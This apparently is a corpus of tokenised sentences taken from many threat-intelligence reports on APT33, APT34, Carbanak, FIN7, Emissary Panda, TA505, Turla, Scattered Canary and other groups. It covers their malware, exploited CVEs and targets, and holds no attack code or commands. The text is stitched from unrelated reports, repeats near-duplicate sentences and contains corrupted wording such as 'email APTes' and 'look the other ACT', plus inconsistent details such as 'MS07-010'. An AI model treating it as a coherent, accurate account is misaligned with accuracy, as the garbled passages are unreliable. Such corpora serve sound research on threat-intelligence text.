Our research found that APT33 , or a closely aligned threat actor , continues to conduct and prepare for widespread cyberespionage activity , with over 1 , 200 domains used since March 28 , 2019 and with a strong emphasis on using commodity malware .
The targeting of mainly Saudi Arabian organizations across a wide variety of industries aligns with historical targeting patterns for the group , which appear undeterred following previous exposés of their activity .
Towards the end of April 2019 , we tracked down what we believe to be new activity by APT10 , a Chinese Cyber Espionage group .
Almost 60% of the suspected APT33 domains that were classified to malware families related to njRAT infections , a RAT not previously associated with APT33 activity .
Other commodity RAT malware families , such as AdwindRAT and RevengeRAT , were also linked to suspected APT33 domain activity .
APT33 is an Iranian state-sponsored threat actor that has engaged in cyberespionage activities since at least 2013 .
Western and Saudi organizations in industries that have been historically targeted by APT33 should be monitoring geopolitical developments and increasing the scrutiny of operational security controls focusing on detection and remediation of initial unauthorized access , specifically from phishing campaigns , webshells .
Symantec’s Elfin report denoted additional targeting of the engineering , chemical , research , finance , IT , and healthcare sectors .
We assess that the recent reporting on links between the Nasr Institute and Kavosh Security Group , as well as technical and persona analysis , overlaps among APT33 , APT35 , and MUDDYWATER , and is probably a result of the tiered structure that Iran utilizes to manage cyber operations .
Recorded Future has been monitoring APT33 activity , beginning with research published in October 2017 , which revealed new infrastructure , malware hashes , and TTPs relating to the threat actor(s) .
FireEye also noted in their 2017 report that the online handle xman_1365_x , ” found within the PDB path in an APT33 TURNEDUP backdoor sample , belonged to an individual at the Nasr Institute .
Recorded Future’s Insikt Group has been monitoring APT33 activity , beginning with research published in October 2017 , which revealed new infrastructure , malware hashes , and TTPs relating to the threat actor(s) .
Based on this information , it is possible that upon the exposure of the Nasr Institute as a front for Iranian state-sponsored offensive cyber activity , employees transitioned over to other entities , such as Kavosh , to protect their identities and minimize further exposure .
Insikt Group researchers used proprietary methods , including Recorded Future Domain Analysis and Recorded Future Network Traffic Analysis , along with other common analytical approaches , to profile recently reported Iranian threat actor APT33’s domain and hosting infrastructure in an effort to identify recent activity .
Insikt Group enumerated all domains reported as being used by APT33 since January 2019 .
PlugX is a modular structured malware that has many different operational plugins such as communication compression and encryption , network enumeration , files interaction , remote shell operations and more .
Using data from Recorded Future Domain Analysis and combining it with data derived from Recorded Future Network Traffic Analysis , Insikt Group researchers were able to identify a small selection of likely targeted organizations impacted by suspected APT33 activity .
Following the exposure of a wide range of their infrastructure and operations by Symantec earlier this year , we discovered that APT33 , or closely aligned actors , reacted by either parking or reassigning some of their domain infrastructure .
Since late March , suspected APT33 threat actors have continued to use a large swath of operational infrastructure , well in excess of 1 , 200 domains , with many observed communicating with 19 different commodity RAT implants .
While we haven’t observed a widespread targeting of commercial entities or regional adversaries like in previously documented APT33 operations , the handful of targeted organizations that we did observe were mainly located in Saudi Arabia across a range of industries , indicating ongoing targeting aligned with geopolitical aims .
The zip contained a sample of the Poison Ivy malware which is also known to be used by APT10 .
The new malware families , which we will examine later in this post , show APT34 relying on their PowerShell development capabilities , as well as trying their hand at Golang .
Additionally , with the assistance of our FireEye Labs Advanced Reverse Engineering (FLARE) , Intelligence , and Advanced Practices teams , we identified three new malware families and a reappearance of PICKPOCKET , malware exclusively observed in use by APT34 .
This threat group has conducted broad targeting across a variety of industries operating in the Middle East; however , we believe APT34's strongest interest is gaining access to financial , energy , and government entities .
Additionally , with the assistance of FireEye Labs , we identified three new malware families and a reappearance of PICKPOCKET , malware exclusively observed in use by APT34 .
APT34 is an Iran-nexus cluster of cyber espionage activity that has been active since at least 2014 .
This CPE was created to ensure our customers are updated with new discoveries , activity and detection efforts related to this campaign , along with other recent activity from Iranian-nexus threat actors to include APT33 , which is mentioned in this updated FireEye blog post .
On June 19 , 2019 , FireEye’s Managed Defense Security Operations Center received an exploit detection alert on one of our FireEye Endpoint Security appliances .
A backdoor that communicates with a single command and control server using HTTP GET and POST requests , TONEDEAF supports collecting system information , uploading and downloading of files , and arbitrary shell command execution .
FireEye’s Advanced Practices and Intelligence teams were able to identify additional artifacts and activity from the APT34 actors at other victim organizations .
Of note , FireEye discovered two additional new malware families hosted at this domain , VALUEVAULT and LONGWATCH .
This tool was previously observed during a Mandiant incident response in 2018 and , to date , solely utilized by APT34 .
PICKPOCKET is a credential theft tool that dumps the user's website login credentials from Chrome , Firefox , and Internet Explorer to a file .
FireEye detects this activity across our platforms , including named detection for TONEDEAF , VALUEVAULT , and LONGWATCH .
Several spear-phishing campaigns attributed to Carbanak , all occurring between March and May 2018 , were analyzed by security researchers in 2018 .
One of the most prolific APT-style cyberattacks , specifically targeting the financial sector , is known as Carbanak .
Discovered in 2014 , the campaign quickly gained notoriety after compromising the security systems of 100 banks in 40 countries and stealing up to $1 billion in the process .
The same group is believed to have also been using the Cobalt Strike framework to run sophisticated campaigns , plotting and performing financial heists of financial institutions .
Banks in countries such as Russia , the United Kingdom , the Netherlands , Spain , Romania , Belarus , Poland , Estonia , Bulgaria , Georgia , Moldova , Kyrgyzstan , Armenia , Taiwan and Malaysia have allegedly been targeted with spearphishing emails , luring victims into clicking malicious URLs and executing booby-trapped documents .
A Carbanak trademark in cyberattacks remains the use of Cobalt Strike – a powerful pentesting tool designed for exploiting and executing malicious code , simulating post-exploitation actions of advanced threat actors – which allows them to infiltrate the organization , move laterally , exfiltrate data , and deploy anti-forensic and evasion tools .
However , this action doesn’t appear to have made a dent in the cybercriminal organization , as subsequent spear-phishing campaigns seem to have been reported from March until May 2018 .
Bitdefender’s forensics and investigation team was contacted to look into a security incident that started in May 2018 with an email received by two of the bank’s employees .
The Carbanak group , which has a long track record of compromising infrastructure belonging to financial institutions , is still active .
Its purpose remains to manipulate financial assets , such as transferring funds from bank accounts or taking over ATM infrastructures and instructing them to dispense cash at predetermined time intervals .
If the attack had succeeded , it would have given hackers control over the ATM network , while money mules would have been standing by the ATM machines at pre-set time intervals to cash them out .
The actors uploaded a variety of tools that they used to perform additional activities on the compromised network , such as dumping credentials , as well as locating and pivoting to additional systems on the network .
We believe Emissary Panda exploited a recently patched vulnerability in Microsoft SharePoint tracked by CVE-2019-0604 , which is a remote code execution vulnerability used to compromise the server and eventually install a webshell .
Bitdefender’s investigation shows the attackers’ main methods remain to quietly infiltrate the infrastructure by establishing a foothold on an employee’s system , then move laterally across the infrastructure or elevate privileges to find critical systems that manage financial transactions or ATM networks .
We also found the China Chopper webshell on the SharePoint servers , which has also been used by the Emissary Panda threat group .
Of particular note is their use of tools to identify systems vulnerable to CVE-2017-0144 , which is the same vulnerability exploited by EternalBlue that is best known for its use in the WannaCry attacks of 2017 .
In addition to the aforementioned post-exploitation tools , the actors used these webshells to upload legitimate executables that they would use DLL sideloading to run a malicious DLL that has code overlaps with known Emissary Panda attacks .
This webshell activity took place across three SharePoint servers hosted by two different government organizations between April 1 , 2019 and April 16 , 2019 , where actors uploaded a total of 24 unique executables across the three SharePoint servers .
The timeline shows three main clusters of activity across the three webshells , with activity occurring on two separate webshells within a very small window of time on April 2 , 2019 and the activity involving the third webshell two weeks later on April 16 , 2019 .
In April 2019 , several national security organizations released alerts on CVE-2019-0604 exploitation , including the Saudi Arabian National Cyber Security Center and the Canadian Center for Cyber Security .
Based on the functionality of the various tools uploaded to the webshells , we believe the threat actors breach the SharePoint servers to use as a beachhead , then attempt to move laterally across the network via stolen credentials and exploiting vulnerabilities .
We also observed the actors uploading custom backdoors such as HyperBro which is commonly associated with Emissary Panda .
Both of these alerts discussed campaigns in which actors used the CVE-2019-0604 to exploit SharePoint servers to install the China Chopper webshell .
During our research into this attack campaign , Unit 42 gathered several tools that the Emissary Panda uploaded to the three webshells at the two government organizations .
We also observed the actors uploading the HyperBro backdoor to one of the webshells , as well as legitimate executables that would sideload malicious DLLs that have overlapping code associated with known Emissary Panda activity .
Lastly , we saw the actor uploading a custom backdoor called HyperBro , which has been associated with Emissary Panda operations in the past .
The other overlapping files are tools used by the adversary to locate other systems on the network ( etool.exe ) , check to see if they are vulnerable to CVE-2017-0144 ( EternalBlue ) patched in MS07-010 (checker1.exe) and pivot to them using remote execution functionality offered by a tool similar to PsExec offered by Impacket ( psexec.exe ) .
Also , the NCSC advisory mentioned that the actors used a file name stylecss.aspx for their webshell , which is the same filename we saw associated with China Chopper .
we will provide an analysis of the HyperBro tool in an upcoming section .
However , using NCC Group’s research published in May 2018 , we were able to discover code overlaps between these DLLs and a sideloaded DLL that ran the SysUpdate tool that the NCC group has associated with an Emissary Panda campaign .
The list also includes several hack tools , such as Mimikatz for credential dumping and several compiled python scripts used to locate and compromise other systems on the local network .
Unfortunately , we do not have access to the PYTHON33.hlp or CreateTsMediaAdm.hlp files , so we do not know the final payload loaded by either of these DLLs .
Figure 9 shows a code comparison between the PYTHON33.dll (right) and inicore_v2.3.30.dll (left) (SHA256: 4d65d371a789aabe1beadcc10b38da1f998cd3ec87d4cc1cfbf0af014b783822 ) , which was sideloaded to run the SysUpdate tool in a previous Emissary Panda campaign .
The Emissary Panda threat group loaded the China Chopper webshell onto SharePoint servers at two Government organizations in the Middle East , which we believe with high confidence involved exploiting a remote code execution vulnerability in SharePoint tracked in CVE-2019-0604 .
The files uploaded to this webshell included the same compiled python script that would scan remote systems that were vulnerable to CVE-2017-0144 ( EternalBlue ) that we saw uploaded to the other errr.aspx webshell .
According to Microsoft’s advisory , this vulnerability was patched on March 12 , 2019 and we first saw the webshell activity on April 1 , 2019 .
We believe the actors pivoted to other systems on the network using stolen credentials and by exploiting the CVE-2017-0144 ( EternalBlue ) vulnerability patched in MS17-010 .
Once the adversary established a foothold on the targeted network , they used China Chopper and other webshells to upload additional tools to the SharePoint server to dump credentials , perform network reconnaissance and pivot to other systems .
We also observed Emissary Panda uploading legitimate tools that would sideload DLLs , specifically the Sublime Text plugin host and the Microsoft’s Create Media application , both of which we had never seen used for DLL sideloading before .
Consequently , the Linux malware ecosystem is plagued by financial driven crypto-miners and DDoS botnet tools which mostly target vulnerable servers .
We also observed the actors uploading legitimate tools that would sideload DLLs , specifically the Sublime Text plugin host and the Microsoft’s Create Media application , both of which we had never seen used for DLL sideloading before .
It has been active since at least 2013 , and has targeted individuals likely involved with the Ukrainian government .
The group’s implants are characterized by the employment of information stealing tools among them being screenshot and document stealers delivered via a SFX , and made to achieve persistence through a scheduled task .
The finding shows that EvilGnome operates on an IP address that was controlled by the Gamaredon group two months ago .
FIN7 operations are linked to numerous intrusion attempts having targeted hundreds of companies since at least as early as 2015 .
The FIN7 intrusion set continued its tailored spear phishing campaigns throughout last year .
In addition , during the investigation , we discovered certain similarities to other attacker groups that seemed to share or copy the FIN7 TTPs in their own operations .
In 2018-2019 , researchers of Kaspersky Lab’s Global Research and Analysis Team analyzed various campaigns that used the same Tactics Tools and Procedures (TTPs) as the historic FIN7 , leading the researchers to believe that this threat actor had remained active despite the 2018 arrests .
One of the domains used by FIN7 in their 2018 campaign of spear phishing contained more than 130 email APTes , leading us to think that more than 130 companies had been targeted by the end of 2018 .
Interestingly , following some open-source publications about them , the FIN7 operators seems to have developed a homemade builder of malicious Office document using ideas from ThreadKit , which they employed during the summer of 2018 .
The first module downloaded by the GRIFFON malware to the victim’s computer is an information-gathering JScript , which allows the cybercriminals to understand the context of the infected workstation .
The new GRIFFON implant is written to the hard drive before each execution , limiting the file-less” aspect of this method .
Given FIN7’s previous use of false security companies , we decided to look deeper into this one .
This activity cluster , which Kaspersky Lab has followed for a few years , uses various implants for targeting mainly banks , and developers of banking and money processing software solutions .
FIN7’s last campaigns were targeting banks in Europe and Central America .
After a successful penetration , FIN7 uses its own backdoors and the CobaltStrike framework or Powershell Empire components to hop to interesting parts of the network , where it can monetize its access .
AveMaria is a new botnet , whose first version we found in September 2018 , right after the arrests of the FIN7 members .
This threat actor stole suspected of stealing €13 million from Bank of Valetta , Malta earlier this year .
In fact , AveMaria is a classic infostealer bot that collects all possible credentials from various types of software: browsers , email clients , messengers , etc. , and can act as a keylogger .
They also use AutoIT droppers , password-protected EXE files and even ISO images .
To deliver their malware , the cyber criminals use spearphishing emails with various types of attachments: MS Office documents or spreadsheet files exploiting some known vulnerability like CVE-2017-11882 , or documents with Ole2Link and SCT .
Interestingly , this actor targeted financial entities and companies in one African country , which lead us to think that CopyPaste was associated with cybermercenaries or a training center .
At the end of 2018 , while searching for new FIN7 campaigns via telemetry , we discovered a set of activity that we temporarily called CopyPaste” from a previously unknown APT .
FIN7 and Cobalt used decoy 302 HTTP redirections too , FIN7 on its GRIFFON C2s before January 2018 , and Cobalt , on its staging servers , similar to CopyPaste .
Quite recently , FIN7 threat actors typosquatted the brand Digicert” using the domain name digicert-cdn[.]com , which is used as a command and control server for their GRIFFON implants .
The first of them is the well-known FIN7 , which specializes in attacking various companies to get access to financial data or PoS infrastructure .
The second one is CobaltGoblin Carbanak EmpireMonkey , which uses the same toolkit , techniques and similar infrastructure but targets only financial institutions and associated software/services providers .
we observe , with various level of confidence , that there are several interconnected groups using very similar toolkits and the same infrastructure to conduct their cyberattacks .
The last piece is the newly discovered CopyPaste group , who targeted financial entities and companies in one African country , which lead us to think that CopyPaste was associated with cybermercenaries or a training center .
At the end of 2018 , the cluster started to use not only CobaltStrike but also Powershell Empire in order to gain a foothold on the victims’ networks .
FIN7 thus continues to use effective spearphishing campaigns in conjunction with well-known MS Office exploits generated by the framework .
MuddyWater is widely regarded as a long-lived APT group in the Middle East .
From February to April 2019 , MuddyWater launched a series of spear-phishing attacks against governments , educational institutions , financial , telecommunications and defense companies in Turkey , Iran , Afghanistan , Iraq , Tajikistan and Azerbaijan .
FIN7 thus continue to use effective spearphishing campaigns in conjunction with well-known MS Office exploits generated by the framework .
We also unearthed and detailed our other findings on MuddyWater , such as its connection to four Android malware variants and its use of false flag techniques , among others , in our report New MuddyWater Activities Uncovered: Threat Actors Used Multi-Stage Backdoors , False Flags , Android malware , and More .
Instead , the campaign used compromised legitimate accounts to trick victims into installing malware .
Notably , the group’s use of email as infection vector seems to yield success for their campaigns .
We also observed MuddyWater’s use of multiple open source post-exploitation tools , which they deployed after successfully compromising a target .
The attacker also connected to the compromised servers from IP addresses that were linked to dynamic domain names used as C&Cs by the delivered payloads .
The main payload is usually Imminent Monitor RAT ; however , at the beginning of 2018 , we also observed the use of LuminosityLink RAT , NetWire RAT , and NjRAT .
In a case in June 2019 , we also noticed Warzone RAT being used .
Xpert RAT reportedly first appeared in 2011 .
The first version of Proyecto RAT” was published at the end of 2010 .
But with the West African gang we’ve named Scattered Canary , we have a deeper look at how business email compromise is connected to the rest of the cybercrime .
This investigation by the Agari Cyber Intelligence Division into the cybercriminal group we’ve named Scattered Canary offers unprecedented visibility into eleven years of fraud and criminal activities , and the growth of a 419 startup into a fully operational BEC business .
While this criminal organization’s activities now center around BEC , and extend to romance scams , credit card fraud , check fraud , fake job listings , credential harvesting , tax schemes , and more , these actors came from much humbler beginnings , starting with basic Craigslist scams in 2008 .
On November 29 , 2018 , Scattered Canary sent an attack email to Agari CFO Raymond Lim , enquiring as to his availability to send out a domestic wire transfer .
Many feel that they have a home team advantage living in Nigeria , where they are free to pay off law enforcement to look the other ACT .
Scattered Canary’s fraudulent history can be traced as far back as October 2008 , when the group first arrived on the cybercriminal circuit .
By March 2016 , one of Scattered Canary’s members had built enough trust with a romance victim—who we’ll call Jane—that she became a frequent source of new mule accounts for the group .
Alpha’s early role was fairly simple: engage with individuals , who he chose based on the goods they were selling , and then provide personal shipping addresses back to Omega .
By all accounts , late 2015 was the beginning of BEC for Scattered Canary .
The first type of attack Scattered Canary pivoted to was credential phishing .
Between July 2015 and February 2016 , Scattered Canary’s primary focus seemed to be mass harvesting general credentials using a Google Docs phishing page .
In the first few months of their credential phishing ventures , Scattered Canary’s sights were mostly set on Asian targets—Malaysia and Japan , in particular .
In November 2015 , the group started to focus on North American users , mostly in the United States .
This activity ceased in February 2016 , likely because the men who made up Scattered Canary began to focus on honing their BEC skills .
In total , Scattered Canary received more than 3 , 000 account credentials as a result of their phishing attacks .
For over eighteen months from March 2017 until November 2018 , Scattered Canary’s frequent enterprise-focused credential phishing campaigns almost exclusively targeted businesses in the United States and Canada .
In July 2018 , following a trend we have observed across the entire BEC threat landscape , Scattered Canary changed their preferred cash out mechanism from wire transfers to gift cards .
Instead of using fake Google Docs phishing pages to collect personal email login credentials , Scattered Canary began using phishing pages of commonly used business applications to compromise enterprise credentials .
Using personal information obtained from various sources , Scattered Canary started perpetrating fraud against US federal and state government agencies .
In total , 35 actors have been tied to Scattered Canary’s operations since the group emerged in 2008 .
Just as with romance scams , actors make use of scripts and templates they can copy-and-paste without having to create something on their own .
When it comes to engaging targets , Scattered Canary frequently maximized efficiencies through the use of scripts , or as some members of the group call them , formats.” These formats are templated text documents that can contain several layers of phishing messages to send to potential victims .
Recently , we unveiled the existence of a UEFI rootkit , called LoJax , which we attribute to the Sednit group .
If Scattered Canary can be seen as a microcosm for the rapidly evolving organizations behind today’s most pernicious email scams , this report demonstrates that a much more holistic approach—one based on threat actor identity rather than type of fraudulent activity—is required to detect email fraud and protect organizations .
This is a first for an APT group , and shows Sednit has access to very sophisticated tools to conduct its espionage operations .
Three years ago , the Sednit group unleashed new components targeting victims in various countries in the Middle East and Central Asia .
In the past , Sednit used a similar technique for credential phishing .
At the end of August 2018 , the Sednit group launched a spearphishing email campaign where it distributed shortened URLs that delivered the first stage of Zebrocy components .
As we explained in our most recent blogpost about Zebrocy , the configuration of the backdoor is stored in in the resource section and is split into four different hex-encoded , encrypted blobs .
The past iteration of SLUB spread from a unique watering hole website exploiting CVE-2018-8174 , a VBScript engine vulnerability .
It used GitHub and Slack as tools for communication between the malware and its controller .
On July 9 , we discovered a new version of SLUB delivered via another unique watering hole website .
This malicious site used CVE-2019-0752 , an Internet Explorer vulnerability discovered by Trend Micro’s Zero Day Initiative ( ZDI ) that was just patched this April .
Since we published out last report on SLUB , the backdoor has been updated and several improvements were implemented .
The SLUB malware was delivered through watering hole websites that were injected with exploits for CVE-2018-8174 or CVE-2019-0752 .
During this attack , we found that the SLUB malware used two Slack teams sales-yww9809” and marketing-pwx7789 .
SWEED remains consistent across most of their campaigns in their use of spear-phishing emails with malicious attachments .
In April 2018 , SWEED began making use of a previously disclosed Office exploit .
In May 2018 , campaigns being conducted by SWEED began leveraging another vulnerability in Microsoft Office: CVE-2017-11882 , a remote code execution bug in Microsoft Office that is commonly observed being leveraged in malicious documents used in commodity malware distribution .
We found them targeting countries in the Middle East such as United Arab Emirates and Saudi Arabia , as well as other countries such as India , Japan , Argentina , the Philippines , and South Korea .
Similar to previous campaigns , the JAR was directly attached to emails and used file names such as Order_2018.jar .
Code contained inside one of the slides triggers an exploit for CVE-2017-8759 , a remote code execution vulnerability in Microsoft .NET framework .
TA505 is also using FlowerPippi ( Backdoor.Win32.FLOWERPIPPI.A ) , a new backdoor that we found them using in their campaigns against targets in Japan , India , and Argentina .
TA505 targeted Middle Eastern countries in a June 11 campaign that delivered more than 90% of the total spam emails to the UAE , Saudi Arabia , and Morroco .
It fetches the same FlawedAmmyy downloader .msi file , then downloads the FlawedAmmyy payload .
TA505 used Wizard (.wiz) files in this campaign , with FlawedAmmyy RAT as the final payload .
On June 14 , we saw TA505’s campaign still targeting UAE with similar tactics and techniques , but this time , some of the spam emails were delivered via the Amadey botnet .
It later delivered an information stealer named EmailStealer , ” which stolesimple mail transfer protocolSMTP ) credentials and email addresses in the victim’s machine .
On June 18 , the majority of the campaign’s spam emails were sent with the subject , Your RAKBANK Tax Invoice / Tax Credit Note” or Confirmation .
This campaign used the abovementioned .HTML file , malicious Excel/Word document VBA macro , the FlawedAmmyy payload , and Amadey .
On June 24 , we found another campaign targeting Lebanon with the ServHelper malware .
On June 17 , we observed the campaign’s spam emails delivering malware-embedded Excel files directly as an attachment .
On June 20 , we spotted the campaign’s spam emails delivering .doc and .xls files .
Nonetheless , these spam emails were not delivered to the UAE or Arabic-speaking users , but to banks in Asian countries such as India , Indonesia , and the Philippines .
After our analysis , we found that Proofpoint reported this malware as AndroMut as well .
In the campaign that targeted Japan , Philippines , and Argentina on June 20 , we found what seems to be a new , undisclosed malware , which we named Gelup .
Another new malware we found that TA505 is using in their campaigns last June 20 against targets in Japan , the Philippines , and Argentina is FlowerPippi .
The malicious email contains a highly suspicious sample which triggered the ZLAB team to investigate its capabilities and its possible attribution , discovering a potential expansion of the TA505 operation .
The attack , as stated by CyberInt , leveraged a command and control server located in Germany related to the TA505 actor: a very active group involved in cyber-criminal operation all around the world , threatening a wide range of high profile companies , active since 2014 .
The comparison of the infection chains reveals in both cases TA505 used a couple of SFX stages to deploy the RMS” software: a legitimate remote administration tool produced by the Russian company TektonIT .
The TA505 group is one of the most active threat groups operating since 2014 , it has traditionally targeted Banking and Retail industries , as we recently documented during the analysis of the Stealthy email Stealer” part of their arsenal .
Also , some code pieces are directly re-used in the analyzed campaigns , such as the i.cmd” and exit.exe” files , and , at the same time , some new components have been introduced , for instance the rtegre.exe” and the veter1605_MAPS_10cr0.exe” file .
In 2018 , Kaspersky Labs published a report that analyzed a Turla PowerShell loader that was based on the open-source project Posh-SecMod .
Turla is believed to have been operating since at least 2008 , when it successfully breached the US military .
This is not the first time Turla has used PowerShell in-memory loaders to increase its chances of bypassing security products .
However , it is likely the same scripts are used more globally against many traditional Turla targets in Western Europe and the Middle East .
In some samples deployed since March 2019 , Turla developers modified their PowerShell scripts in order to bypass the Antimalware Scan Interface ( AMSI ) .
Based on our research , SWEED — which has been operating since at least 2017 — primarily targets their victims with stealers and remote access trojans .
It is interesting to note that Turla operators used the free email provider GMX again , as in the Outlook Backdoor and in LightNeuron .
This new research confirms our forecast and shows that the Turla group does not hesitate to use open-source pen-testing frameworks to conduct intrusion .
Neptun is installed on Microsoft Exchange servers and is designed to passively listen for commands from the attackers .
One attack during this campaign involved the use of infrastructure belonging to another espionage group known as Crambus aka OilRig , APT34 .
Waterbug has been using Meterpreter since at least early 2018 and , in this campaign , used a modified version of Meterpreter , which was encoded and given a .wav extension in order to disguise its true purpose .
In all likelihood , Waterbug’s use of Crambus infrastructure appears to have been a hostile takeover .
One of the most interesting things to occur during one of Waterbug’s recent campaigns was that during an attack against one target in the Middle East , Waterbug appeared to hijack infrastructure from the Crambus espionage group and used it to deliver malware on to the victim’s network .
These three recent Waterbug campaigns have seen the group compromise governments and international organizations across the globe in addition to targets in the IT and education sectors .
Curiously though , Waterbug also compromised other computers on the victim’s network using its own infrastructure .
Symantec believes that the variant of Mimikatz used in this attack is unique to Waterbug .
Aside from the attack involving Crambus infrastructure , this sample of Mimikatz has only been seen used in one other attack , against an education target in the UK in 2017 .
The first observed evidence of Waterbug activity came on January 11 , 2018 , when a Waterbug-linked tool (a task scheduler named msfgi.exe ) was dropped on to a computer on the victim’s network .
In the case of the attack against the Middle Eastern target , Crambus was the first group to compromise the victim’s network , with the earliest evidence of activity dating to November 2017 .
Waterbug’s intrusions on the victim’s network continued for much of 2018 .
Symantec did not observe the initial access point and the close timeframe between Waterbug observed activity on the victim’s network and its observed use of Crambus infrastructure suggests that Waterbug may have used the Crambus infrastructure as an initial access point .
It also reconfigures the Microsoft Sysinternals registry to prevent pop-ups when running the PsExec tool .
Waterbug also used an older version of PowerShell , likely to avoid logging .
In one of these campaigns , Waterbug used a USB stealer that scans removable storage devices to identify and collect files of interest .
The malware then uses WebDAV to upload the RAR archive to a Box account .
The DeepSight Managed Adversary and Threat Intelligence team co-authored this blog and its customers have received intelligence with additional details about these campaigns , the characteristics of the Waterbug ( aka Turla ) Cyber Espionage group , and methods of detecting and thwarting activities of this adversary .
The DeepSight MATI team authored this blog and its customers have received intelligence with additional details about these campaigns , the characteristics of the Waterbug Cyber Espionage group , and methods of detecting and thwarting activities of this adversary .
While reviewing a 2015 report⁵ of a Winnti intrusion at a Vietnamese gaming company , we identified a small cluster of Winnti⁶ samples designed specifically for Linux⁷ .
Following these reports , Chronicle researchers doubled down on efforts to try to unravel the various campaigns where Winnti was leveraged .
Distinct changes to Azazel by the Winnti developers include the addition of a function named ‘Decrypt2’ , which is used to decode an embedded configuration similar to the core implant .
Zebrocy activity initiates with spearphishing operations delivering various target profilers and downloaders without the use of any 0day exploits .
We will see more from Zebrocy into 2019 on government and military related organizations .
The PowerShell script will look at the architecture of the system to check which malicious DLL files should be downloaded .
In the same year , Silence conducted DDoS attacks using the Perl IRC bot and public IRC chats to control Trojans .
The FBI issued a rare bulletin admitting that a group named APT6 hacked into US government computer systems as far back as 2011 and for years stole sensitive data .
FireEye iSIGHT Intelligence believes that APT37 is aligned with the activity publicly reported as Scarcruft and Group123 .
Trend Micro attributes this activity to MuddyWater , an Iran-nexus actor that has been active since at least May 2017 .
FireEye assess that the actors employing this latest Flash zero-day are a suspected North Korean group we track as TEMP.Reaper .
FireEye has observed other suspected North Korean threat groups such as TEMP.Hermit employ wiper malware in disruptive attacks .
On Nov14 , 2017 , FireEye observed APT34 using an exploit for the Microsoft Office vulnerability to target a government organization in the Middle East .
Kaspersky reveals that APT33 is a capable group that has carried out Cyber Espionage operations since at least 2013 .
APT33 is the only group that Kaspersky has observed use the DROPSHOT dropper .
The Cyber Espionage group APT32 heavily obfuscates their backdoors and scripts , and Mandiant consultants observed APT32 implement additional command argument obfuscation in April 2017 .
In all Mandiant investigations to date where the CARBANAK backdoor has been discovered , the activity has been attributed to the FIN7 threat group .
Kaspersky released a similar report about the same group under the name Carbanak in February 2015 .
FireEye assesses that APT32 leverages a unique suite of fully-featured malware .
FireEye has observed APT32 targeting foreign corporations with a vested interest in Vietnam’s manufacturing , consumer products , and hospitality sectors .
The FireEye iSIGHT Intelligence MySIGHT Portal contains additional information on these backdoor families based on Mandiant investigations of APT32 intrusions .
FireEye assesses that APT32 is a Cyber Espionage group aligned with Vietnamese government interests .
In May and June 2017 , FireEye has associated this campaign with APT19 , a group that we assess is composed of freelancers , with some degree of sponsorship by the Chinese government .
APT10 is a Chinese Cyber Espionage group that FireEye has tracked since 2009 .
In addition to the spear phishes , FireEye ISIGHT Intelligence has observed APT10 accessing victims through global service providers .
FireEye’s visibility into the operations of APT28 – a group we believe the Russian government sponsors – has given us insight into some of the government’s targets , as well as its objectives and the activities designed to further them .
FireEye has tracked and profiled APT28 group through multiple investigations , endpoint and network detections , and continuous monitoring .
In April 2015 , FireEye uncovered the malicious efforts of APT30 , a suspected China-based threat group .
FireEye iSIGHT Intelligence has been tracking a pair of cybercriminals that we refer to as the Vendetta Brothers .
Google and Microsoft have already confirmed the Russian hacker group APT28 used a Flash vulnerability CVE-2016-7855 along with this kernel privilege escalation flaw to perform a targeted attack .
McAfee concludes that some groups—and especially the Poetry Group —have shifted tactics to use Citadel in ACTs other than what it was originally intended for .
McAfee Advanced Threat research determines with confidence that Lazarus is the threat group behind this attack for the following reasons:Contacts an IP address / domain that was used to host a malicious document from a Lazarus previous campaign in 2017 .
In November 2017 , Talos observed the Group123 , which included a new version of ROKRAT being used in the latest wave of attacks .
In addition to TALOS investigation on KONNI , on July 18 2017 , BitDefender released a whitepaper on DarkHotel .
According to security 360 Threat Intelligence Center , Goldmouse was observed deploying the nebulous njRAT backdoor .
ESET has also reported PowerShell scripts being used by Turla to provide direct , in-memory loading and execution of malware .
Additionally Kaspersky identified a new backdoor that we attribute with medium confidence to Turla .
Researchers at Symantec suspect that Turla used the hijacked network to attack a Middle Eastern government .
Symantec researchers have uncovered evidence that the Waterbug APT group has conducted a hostile takeover of an attack platform .
Researchers at the Microstep Intelligence Bureau have published a report on targeted attacks on the Ukrainian government that they attribute to the Gamaredon threat actor .
Kaspersky found an active campaign by a Chinese APT group we call SixLittleMonkeys that uses a new version of the Microcin Trojan and a RAT that we call HawkEye as a last stager .
Trend Micro has previously reported the use of this malware in targeted attacks by the BlackTech group , primarily focused on cyber-espionage in Asia .
LuckyMouse activity detected by Palo Alto involved the attackers installing web shells on SharePoint servers to compromise government organizations in the Middle East .
Talos published its analysis of the BlackWater campaign , related to MuddyWater group .
Trend Micro also reported MuddyWater’s use of a new multi-stage PowerShell-based backdoor called POWERSTATS v3 .
Regarding other groups , Kaspersky discovered new activity related to ZooPark , a cyber-espionage threat actor that has focused mainly on stealing data from Android devices .
Recorded Future published an analysis of the infrastructure built by APT33 ( aka Elfin ) to target Saudi organizations .
Early in Q2 , Kaspersky identified an interesting Lazarus attack targeting a mobile gaming company in South Korea that we believe was aimed at stealing application source code .
In a recent campaign , Kaspersky observed ScarCruft using a multi-stage binary to infect several victims and ultimately install a final payload known as ROKRAT – a cloud service-based backdoor .
ESET recently analyzed a new Mac OS sample from the OceanLotus group that had been uploaded to VirusTotal .
The threat actor behind the campaign , which Kaspersky believes to be the PLATINUM APT group , uses an elaborate , previously unseen , steganographic technique to conceal communication .
FireEye defined APT40 as the Chinese state-sponsored threat actor previously reported as TEMP.Periscope , Leviathan and TEMP.Jumper .
In January , Kaspersky identified new activity by the Transparent Tribe APT group aka PROJECTM and MYTHIC LEOPARD , a threat actor with interests aligned with Pakistan that has shown a persistent focus on Indian military targets .
OceanLotus was another actor active during this period , using a new downloader called KerrDown , as reported by Palo Alto .
ESET recently uncovered a new addition to OceanLotus’s toolset targeting Mac OS .
In mid-2018 , Kaspersky's report on Operation AppleJeus” highlighted the focus of the Lazarus threat actor on cryptocurrency exchanges .
Kaspersky also observed some activity from Gaza Team and MuddyWater .
Kaspersky wrote about LuckyMouse targeting national data centers in June .
Kaspersky also discovered that LuckyMouse unleashed a new wave of activity targeting Asian governmental organizations just around the time they had gathered for a summit in China .
Kaspersky have observed similar activity in the past from groups such as Oilrig and Stonedrill , which leads us to believe the new attacks could be connected , though for now that connection is only assessed as low confidence .
In August 2019 , FireEye released the Double Dragon” report on our newest graduated threat group , APT41 .
Today , FireEye Intelligence is releasing a comprehensive report detailing APT41 , a prolific Chinese cyber threat group that carries out state-sponsored espionage activity in parallel with financially motivated operations .
Group-IB experts continuously monitor the Silence’ activities .
